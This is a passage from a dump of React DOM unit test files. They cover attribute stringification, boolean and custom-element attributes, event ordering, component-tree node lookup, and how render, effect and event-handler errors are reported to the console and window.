Object]',\n      );\n    });\n\n    it('allows objects that inherit a custom toString method', async function () {\n      const parent = {toString: () => 'hello.jpg'};\n      const child = Object.create(parent);\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<img src={child} />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.src).toBe('http://localhost/hello.jpg');\n    });\n\n    it('assigns ajaxify (an important internal FB attribute)', async function () {\n      const options = {toString: () => 'ajaxy'};\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div ajaxify={options} />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.getAttribute('ajaxify')).toBe('ajaxy');\n    });\n  });\n\n  describe('String boolean attributes', function () {\n    it('does not assign string boolean attributes for custom attributes', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div whatever={true} ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Received `true` for a non-boolean attribute `whatever`.\\n\\n' +\n          'If you want to write it to the DOM, pass a string instead: ' +\n          'whatever=\"true\" or whatever={value.toString()}.\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.hasAttribute('whatever')).toBe(false);\n    });\n\n    it('stringifies the boolean true for allowed attributes', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div spellCheck={true} />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.getAttribute('spellCheck')).toBe('true');\n    });\n\n    it('stringifies the boolean false for allowed attributes', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div spellCheck={false} />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.getAttribute('spellCheck')).toBe('false');\n    });\n\n    it('stringifies implicit booleans for allowed attributes', async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        // eslint-disable-next-line react/jsx-boolean-value\n        root.render(<div spellCheck />);\n      });\n\n      const el = container.firstChild;\n\n      expect(el.getAttribute('spellCheck')).toBe('true');\n    });\n  });\n\n  describe('Boolean attributes', function () {\n    it('warns on the ambiguous string value \"false\"', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div hidden=\"false\" ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Received the string `false` for the boolean attribute `hidden`. ' +\n          'The browser will interpret it as a truthy value. ' +\n          'Did you mean hidden={false}?\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.getAttribute('hidden')).toBe('');\n    });\n\n    it('warns on the potentially-ambiguous string value \"true\"', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div hidden=\"true\" ref={current => (el = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Received the string `true` for the boolean attribute `hidden`. ' +\n          'Although this works, it will not work as expected if you pass the string \"false\". ' +\n          'Did you mean hidden={true}?\\n' +\n          '    in div (at **)',\n      ]);\n\n      expect(el.getAttribute('hidden')).toBe('');\n    });\n  });\n\n  describe('Hyphenated SVG elements', function () {\n    it('the font-face element is not a custom element', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <svg ref={current => (el = current)}>\n            <font-face x-height={false} />\n          </svg>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid DOM property `x-height`. Did you mean `xHeight`?\\n' +\n          '    in font-face (at **)',\n      ]);\n\n      expect(el.querySelector('font-face').hasAttribute('x-height')).toBe(\n        false,\n      );\n    });\n\n    it('the font-face element does not allow unknown boolean values', async function () {\n      let el;\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(\n          <svg ref={current => (el = current)}>\n            <font-face whatever={false} />\n          </svg>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Received `false` for a non-boolean attribute `whatever`.\\n\\n' +\n          'If you want to write it to the DOM, pass a string instead: ' +\n          'whatever=\"false\" or whatever={value.toString()}.\\n\\n' +\n          'If you used to conditionally omit it with whatever={condition && value}, ' +\n          'pass whatever={condition ? value : undefined} instead.\\n' +\n          '    in font-face (at **)',\n      ]);\n\n      expect(el.querySelector('font-face').hasAttribute('whatever')).toBe(\n        false,\n      );\n    });\n  });\n\n  // These tests mostly verify the existing behavior.\n  // It may not always makes sense but we can't change it in minors.\n  describe('Custom elements', () => {\n    it('does not strip unknown boolean attributes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<some-custom-element foo={true} />);\n      });\n      const node = container.firstChild;\n      expect(node.getAttribute('foo')).toBe('');\n      await act(() => {\n        root.render(<some-custom-element foo={false} />);\n      });\n      expect(node.getAttribute('foo')).toBe(null);\n      await act(() => {\n        root.render(<some-custom-element />);\n      });\n      expect(node.hasAttribute('foo')).toBe(false);\n      await act(() => {\n        root.render(<some-custom-element foo={true} />);\n      });\n      expect(node.hasAttribute('foo')).toBe(true);\n    });\n\n    it('does not strip the on* attributes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<some-custom-element onx=\"bar\" />);\n      });\n      const node = container.firstChild;\n      expect(node.getAttribute('onx')).toBe('bar');\n      await act(() => {\n        root.render(<some-custom-element onx=\"buzz\" />);\n      });\n      expect(node.getAttribute('onx')).toBe('buzz');\n      await act(() => {\n        root.render(<some-custom-element />);\n      });\n      expect(node.hasAttribute('onx')).toBe(false);\n      await act(() => {\n        root.render(<some-custom-element onx=\"bar\" />);\n      });\n      expect(node.getAttribute('onx')).toBe('bar');\n    });\n  });\n\n  it('receives events in specific order', async () => {\n    const eventOrder = [];\n    const track = tag => () => eventOrder.push(tag);\n    const outerRef = React.createRef();\n    const innerRef = React.createRef();\n\n    function OuterReactApp() {\n      return (\n        <div\n          ref={outerRef}\n          onClick={track('outer bubble')}\n          onClickCapture={track('outer capture')}\n        />\n      );\n    }\n\n    function InnerReactApp() {\n      return (\n        <div\n          ref={innerRef}\n          onClick={track('inner bubble')}\n          onClickCapture={track('inner capture')}\n        />\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    document.body.appendChild(container);\n\n    try {\n      await act(() => {\n        root.render(<OuterReactApp />);\n      });\n      const innerRoot = ReactDOMClient.createRoot(outerRef.current);\n      await act(() => {\n        innerRoot.render(<InnerReactApp />);\n      });\n\n      document.addEventListener('click', track('document bubble'));\n      document.addEventListener('click', track('document capture'), true);\n\n      innerRef.current.click();\n\n      if (ReactFeatureFlags.enableLegacyFBSupport) {\n        // The order will change here, as the legacy FB support adds\n        // the event listener onto the document after the one above has.\n        expect(eventOrder).toEqual([\n          'document capture',\n          'outer capture',\n          'inner capture',\n          'document bubble',\n          'inner bubble',\n          'outer bubble',\n        ]);\n      } else {\n        expect(eventOrder).toEqual([\n          'document capture',\n          'outer capture',\n          'inner capture',\n          'inner bubble',\n          'outer bubble',\n          'document bubble',\n        ]);\n      }\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  describe('iOS Tap Highlight', () => {\n    it('adds onclick handler to elements with onClick prop', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const elementRef = React.createRef();\n      function Component() {\n        return <div ref={elementRef} onClick={() => {}} />;\n      }\n\n      await act(() => {\n        root.render(<Component />);\n      });\n      expect(typeof elementRef.current.onclick).toBe('function');\n    });\n\n    it('adds onclick handler to a portal root', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const portalContainer = document.createElement('div');\n\n      function Component() {\n        return ReactDOM.createPortal(\n          <div onClick={() => {}} />,\n          portalContainer,\n        );\n      }\n\n      await act(() => {\n        root.render(<Component />);\n      });\n      expect(typeof portalContainer.onclick).toBe('function');\n    });\n\n    // @gate !disableLegacyMode\n    it('does not add onclick handler to the React root in legacy mode', () => {\n      const container = document.createElement('div');\n\n      function Component() {\n        return <div onClick={() => {}} />;\n      }\n\n      ReactDOM.render(<Component />, container);\n      expect(typeof container.onclick).not.toBe('function');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMComponentTree-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMComponentTree', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let container;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  it('finds nodes for instances on events', async () => {\n    const mouseOverID = 'mouseOverID';\n    const clickID = 'clickID';\n    let currentTargetID = null;\n    // the current target of an event is set to result of getNodeFromInstance\n    // when an event is dispatched so we can test behavior by invoking\n    // events on elements in the tree and confirming the expected node is\n    // set as the current target\n    function Component() {\n      const handler = e => {\n        currentTargetID = e.currentTarget.id;\n      };\n\n      return (\n        <div id={mouseOverID} onMouseOver={handler}>\n          <div id={clickID} onClick={handler} />\n        </div>\n      );\n    }\n\n    function simulateMouseEvent(elem, type) {\n      const event = new MouseEvent(type, {\n        bubbles: true,\n      });\n      elem.dispatchEvent(event);\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(currentTargetID).toBe(null);\n    simulateMouseEvent(document.getElementById(mouseOverID), 'mouseover');\n    expect(currentTargetID).toBe(mouseOverID);\n    simulateMouseEvent(document.getElementById(clickID), 'click');\n    expect(currentTargetID).toBe(clickID);\n  });\n\n  it('finds closest instance for node when an event happens', async () => {\n    const nonReactElemID = 'aID';\n    const innerHTML = {__html: `<div id=\"${nonReactElemID}\"></div>`};\n    const closestInstanceID = 'closestInstance';\n    let currentTargetID = null;\n\n    function ClosestInstance() {\n      const onClick = e => {\n        currentTargetID = e.currentTarget.id;\n      };\n\n      return (\n        <div\n          id={closestInstanceID}\n          onClick={onClick}\n          dangerouslySetInnerHTML={innerHTML}\n        />\n      );\n    }\n\n    function simulateClick(elem) {\n      const event = new MouseEvent('click', {\n        bubbles: true,\n      });\n      elem.dispatchEvent(event);\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <section>\n          <ClosestInstance />\n        </section>,\n      );\n    });\n    expect(currentTargetID).toBe(null);\n    simulateClick(document.getElementById(nonReactElemID));\n    expect(currentTargetID).toBe(closestInstanceID);\n  });\n\n  it('updates event handlers from fiber props', async () => {\n    let action = '';\n    let flip;\n    const handlerA = () => (action = 'A');\n    const handlerB = () => (action = 'B');\n\n    function simulateMouseOver(target) {\n      const event = new MouseEvent('mouseover', {\n        bubbles: true,\n      });\n      target.dispatchEvent(event);\n    }\n\n    function HandlerFlipper() {\n      const [flipVal, setFlipVal] = React.useState(false);\n      flip = () => setFlipVal(true);\n\n      return <div id=\"update\" onMouseOver={flipVal ? handlerB : handlerA} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<HandlerFlipper key=\"1\" />);\n    });\n    const node = container.firstChild;\n\n    await act(() => {\n      simulateMouseOver(node);\n    });\n    expect(action).toEqual('A');\n    action = '';\n\n    // Render with the other event handler.\n    await act(() => {\n      flip();\n    });\n    await act(() => {\n      simulateMouseOver(node);\n    });\n    expect(action).toEqual('B');\n  });\n\n  it('finds a controlled instance from node and gets its current fiber props', async () => {\n    let inputRef;\n    const inputID = 'inputID';\n    const startValue = undefined;\n    const finishValue = 'finish';\n\n    function Controlled() {\n      const [state, setState] = React.useState(startValue);\n      const ref = React.useRef();\n      inputRef = ref;\n      const onChange = e => setState(e.currentTarget.value);\n\n      return (\n        <input\n          id={inputID}\n          type=\"text\"\n          ref={ref}\n          value={state}\n          onChange={onChange}\n        />\n      );\n    }\n\n    const setUntrackedInputValue = Object.getOwnPropertyDescriptor(\n      HTMLInputElement.prototype,\n      'value',\n    ).set;\n\n    function simulateInput(elem, value) {\n      const inputEvent = new Event('input', {\n        bubbles: true,\n      });\n      setUntrackedInputValue.call(elem, value);\n      elem.dispatchEvent(inputEvent);\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Controlled />);\n    });\n\n    await act(() => {\n      simulateInput(inputRef.current, finishValue);\n    });\n    assertConsoleErrorDev([\n      'A component is changing an uncontrolled input to be controlled. ' +\n        'This is likely caused by the value changing from undefined to ' +\n        'a defined value, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: ' +\n        'https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)\\n' +\n        '    in Controlled (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMConsoleErrorReporting-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\ndescribe('ReactDOMConsoleErrorReporting', () => {\n  let act;\n  let React;\n  let ReactDOMClient;\n\n  let ErrorBoundary;\n  let NoError;\n  let container;\n  let windowOnError;\n  let Scheduler;\n\n  beforeEach(() => {\n    jest.resetModules();\n    act = require('internal-test-utils').act;\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n\n    ErrorBoundary = class extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <h1>Caught: {this.state.error.message}</h1>;\n        }\n        return this.props.children;\n      }\n    };\n    NoError = function () {\n      return <h1>OK</h1>;\n    };\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    windowOnError = jest.fn();\n    window.addEventListener('error', windowOnError);\n    spyOnDevAndProd(console, 'error').mockImplementation(() => {});\n    spyOnDevAndProd(console, 'warn').mockImplementation(() => {});\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    window.removeEventListener('error', windowOnError);\n    jest.restoreAllMocks();\n  });\n\n  async function fakeAct(cb) {\n    // We don't use act/waitForThrow here because we want to observe how errors are reported for real.\n    await cb();\n    Scheduler.unstable_flushAll();\n  }\n\n  describe('ReactDOMClient.createRoot', () => {\n    it('logs errors during event handlers', async () => {\n      function Foo() {\n        return (\n          <button\n            onClick={() => {\n              throw Error('Boom');\n            }}>\n            click me\n          </button>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Foo />);\n      });\n\n      container.firstChild.dispatchEvent(\n        new MouseEvent('click', {\n          bubbles: true,\n        }),\n      );\n\n      expect(windowOnError.mock.calls).toEqual([\n        [\n          // Reported because we're in a browser click event:\n          expect.objectContaining({\n            message: 'Boom',\n          }),\n        ],\n      ]);\n      expect(console.error.mock.calls).toEqual([\n        [\n          // Reported because we're in a browser click event:\n          expect.objectContaining({\n            message: 'Boom',\n          }),\n        ],\n      ]);\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        root.render(<NoError />);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError.mock.calls).toEqual([]);\n      expect(console.error.mock.calls).toEqual([]);\n    });\n\n    it('logs render errors without an error boundary', async () => {\n      function Foo() {\n        throw Error('Boom');\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await fakeAct(() => {\n        root.render(<Foo />);\n      });\n\n      if (__DEV__) {\n        expect(windowOnError.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.warn.mock.calls).toEqual([\n          [\n            // Addendum by React:\n            expect.stringContaining('%s'),\n            expect.stringContaining('An error occurred in the <Foo> component'),\n            expect.stringContaining('Consider adding an error boundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        expect(windowOnError.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.warn.mock.calls).toEqual([]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        root.render(<NoError />);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError.mock.calls).toEqual([]);\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([]);\n      }\n    });\n\n    it('logs render errors with an error boundary', async () => {\n      spyOnDevAndProd(console, 'error');\n\n      function Foo() {\n        throw Error('Boom');\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <ErrorBoundary>\n            <Foo />\n          </ErrorBoundary>,\n        );\n      });\n\n      if (__DEV__) {\n        expect(windowOnError.mock.calls).toEqual([]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Formatting\n            expect.stringContaining('%o'),\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n            // Addendum by React:\n            expect.stringContaining(\n              'The above error occurred in the <Foo> component',\n            ),\n            expect.stringContaining('ErrorBoundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        // The top-level error was caught with try/catch,\n        // so in production we don't see an error event.\n        expect(windowOnError.mock.calls).toEqual([]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        root.render(<NoError />);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError.mock.calls).toEqual([]);\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([]);\n      }\n    });\n\n    it('logs layout effect errors without an error boundary', async () => {\n      spyOnDevAndProd(console, 'error');\n\n      function Foo() {\n        React.useLayoutEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await fakeAct(() => {\n        root.render(<Foo />);\n      });\n\n      if (__DEV__) {\n        expect(windowOnError.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.warn.mock.calls).toEqual([\n          [\n            // Addendum by React:\n            expect.stringContaining('%s'),\n            expect.stringContaining('An error occurred in the <Foo> component'),\n            expect.stringContaining('Consider adding an error boundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        // The top-level error was caught with try/catch,\n        // so in production we don't see an error event.\n        expect(windowOnError.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.warn.mock.calls).toEqual([]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        root.render(<NoError />);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError.mock.calls).toEqual([]);\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([]);\n      }\n    });\n\n    it('logs layout effect errors with an error boundary', async () => {\n      spyOnDevAndProd(console, 'error');\n\n      function Foo() {\n        React.useLayoutEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <ErrorBoundary>\n            <Foo />\n          </ErrorBoundary>,\n        );\n      });\n\n      if (__DEV__) {\n        expect(windowOnError.mock.calls).toEqual([]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Formatting\n            expect.stringContaining('%o'),\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n            // Addendum by React:\n            expect.stringContaining(\n              'The above error occurred in the <Foo> component',\n            ),\n            expect.stringContaining('ErrorBoundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        // The top-level error was caught with try/catch,\n        // so in production we don't see an error event.\n        expect(windowOnError.mock.calls).toEqual([]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        root.render(<NoError />);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError.mock.calls).toEqual([]);\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([]);\n      }\n    });\n\n    it('logs passive effect errors without an error boundary', async () => {\n      spyOnDevAndProd(console, 'error');\n\n      function Foo() {\n        React.useEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await fakeAct(() => {\n        root.render(<Foo />);\n      });\n\n      if (__DEV__) {\n        expect(windowOnError.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.warn.mock.calls).toEqual([\n          [\n            // Addendum by React:\n            expect.stringContaining('%s'),\n            expect.stringContaining('An error occurred in the <Foo> component'),\n            expect.stringContaining('Consider adding an error boundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        expect(windowOnError.mock.calls).toEqual([\n          [\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n        expect(console.warn.mock.calls).toEqual([]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        root.render(<NoError />);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError.mock.calls).toEqual([]);\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([]);\n      }\n    });\n\n    it('logs passive effect errors with an error boundary', async () => {\n      spyOnDevAndProd(console, 'error');\n\n      function Foo() {\n        React.useEffect(() => {\n          throw Error('Boom');\n        }, []);\n        return null;\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <ErrorBoundary>\n            <Foo />\n          </ErrorBoundary>,\n        );\n      });\n\n      if (__DEV__) {\n        expect(windowOnError.mock.calls).toEqual([]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Formatting\n            expect.stringContaining('%o'),\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n            // Addendum by React:\n            expect.stringContaining(\n              'The above error occurred in the <Foo> component',\n            ),\n            expect.stringContaining('ErrorBoundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n      } else {\n        // The top-level error was caught with try/catch,\n        // so in production we don't see an error event.\n        expect(windowOnError.mock.calls).toEqual([]);\n        expect(console.error.mock.calls).toEqual([\n          [\n            // Reported by React with no extra message:\n            expect.objectContaining({\n              message: 'Boom',\n            }),\n          ],\n        ]);\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        root.render(<NoError />);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError.mock.calls).toEqual([]);\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([]);\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMConsoleErrorReportingLegacy-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\ndescribe('ReactDOMConsoleErrorReporting', () => {\n  let act;\n  let React;\n  let ReactDOM;\n\n  let ErrorBoundary;\n  let NoError;\n  let container;\n  let windowOnError;\n  let waitForThrow;\n\n  beforeEach(() => {\n    jest.resetModules();\n    act = require('internal-test-utils').act;\n    React = require('react');\n    ReactDOM = require('react-dom');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForThrow = InternalTestUtils.waitForThrow;\n\n    ErrorBoundary = class extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <h1>Caught: {this.state.error.message}</h1>;\n        }\n        return this.props.children;\n      }\n    };\n    NoError = function () {\n      return <h1>OK</h1>;\n    };\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    windowOnError = jest.fn();\n    window.addEventListener('error', windowOnError);\n    spyOnDevAndProd(console, 'error');\n    spyOnDevAndProd(console, 'warn');\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    window.removeEventListener('error', windowOnError);\n    jest.restoreAllMocks();\n  });\n\n  describe('ReactDOM.render', () => {\n    // @gate !disableLegacyMode\n    it('logs errors during event handlers', async () => {\n      function Foo() {\n        return (\n          <button\n            onClick={() => {\n              throw Error('Boom');\n            }}>\n            click me\n          </button>\n        );\n      }\n\n      await act(() => {\n        ReactDOM.render(<Foo />, container);\n      });\n\n      await expect(async () => {\n        await act(() => {\n          container.firstChild.dispatchEvent(\n            new MouseEvent('click', {\n              bubbles: true,\n            }),\n          );\n        });\n      }).rejects.toThrow(\n        expect.objectContaining({\n          message: 'Boom',\n        }),\n      );\n\n      // Reported because we're in a browser click event:\n      expect(windowOnError.mock.calls).toEqual([\n        [\n          expect.objectContaining({\n            message: 'Boom',\n          }),\n        ],\n      ]);\n      expect(console.warn).not.toBeCalled();\n\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.error).not.toBeCalled();\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.warn.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        ReactDOM.render(<NoError />, container);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.error).not.toBeCalled();\n      }\n    });\n\n    // @gate !disableLegacyMode\n    it('logs render errors without an error boundary', async () => {\n      function Foo() {\n        throw Error('Boom');\n      }\n\n      await expect(async () => {\n        await act(() => {\n          ReactDOM.render(<Foo />, container);\n        });\n      }).rejects.toThrow('Boom');\n\n      // Reported because errors without a boundary are reported to window.\n      expect(windowOnError.mock.calls).toEqual([\n        [\n          expect.objectContaining({\n            message: 'Boom',\n          }),\n        ],\n      ]);\n\n      if (__DEV__) {\n        expect(console.warn.mock.calls).toEqual([\n          [\n            // Formatting\n            expect.stringContaining('%s'),\n            // Addendum by React:\n            expect.stringContaining('An error occurred in the <Foo> component'),\n            expect.stringContaining('Consider adding an error boundary'),\n            // The component stack is not added without the polyfill/devtools.\n            // expect.stringContaining('Foo'),\n          ],\n        ]);\n\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.warn).not.toBeCalled();\n        expect(console.error).not.toBeCalled();\n      }\n\n      // Check next render doesn't throw.\n      windowOnError.mockReset();\n      console.warn.mockReset();\n      console.error.mockReset();\n      await act(() => {\n        ReactDOM.render(<NoError />, container);\n      });\n      expect(container.textContent).toBe('OK');\n      expect(console.warn).not.toBeCalled();\n      expect(windowOnError).not.toBeCalled();\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since React 18',\n            ),\n          ],\n        ]);\n      } else {\n        expect(console.error).not.toBeCalled();\n      }\n    });\n\n    // @gate !disableLegacyMode\n    it('logs render errors with an error boundary', async () => {\n      function Foo() {\n        throw Error('Boom');\n      }\n\n      await act(() => {\n        ReactDOM.render(\n          <ErrorBoundary>\n            <Foo />\n          </ErrorBoundary>,\n          container,\n        );\n      });\n\n      // The top-level error was caught with try/catch,\n      // so we don't see an error event.\n      expect(windowOnError).not.toBeCalled();\n      expect(console.warn).not.toBeCalled();\n\n      if (__DEV__) {\n        expect(console.error.mock.calls).toEqual([\n          [\n            expect.stringContaining(\n              'ReactDOM.render has not been supported since 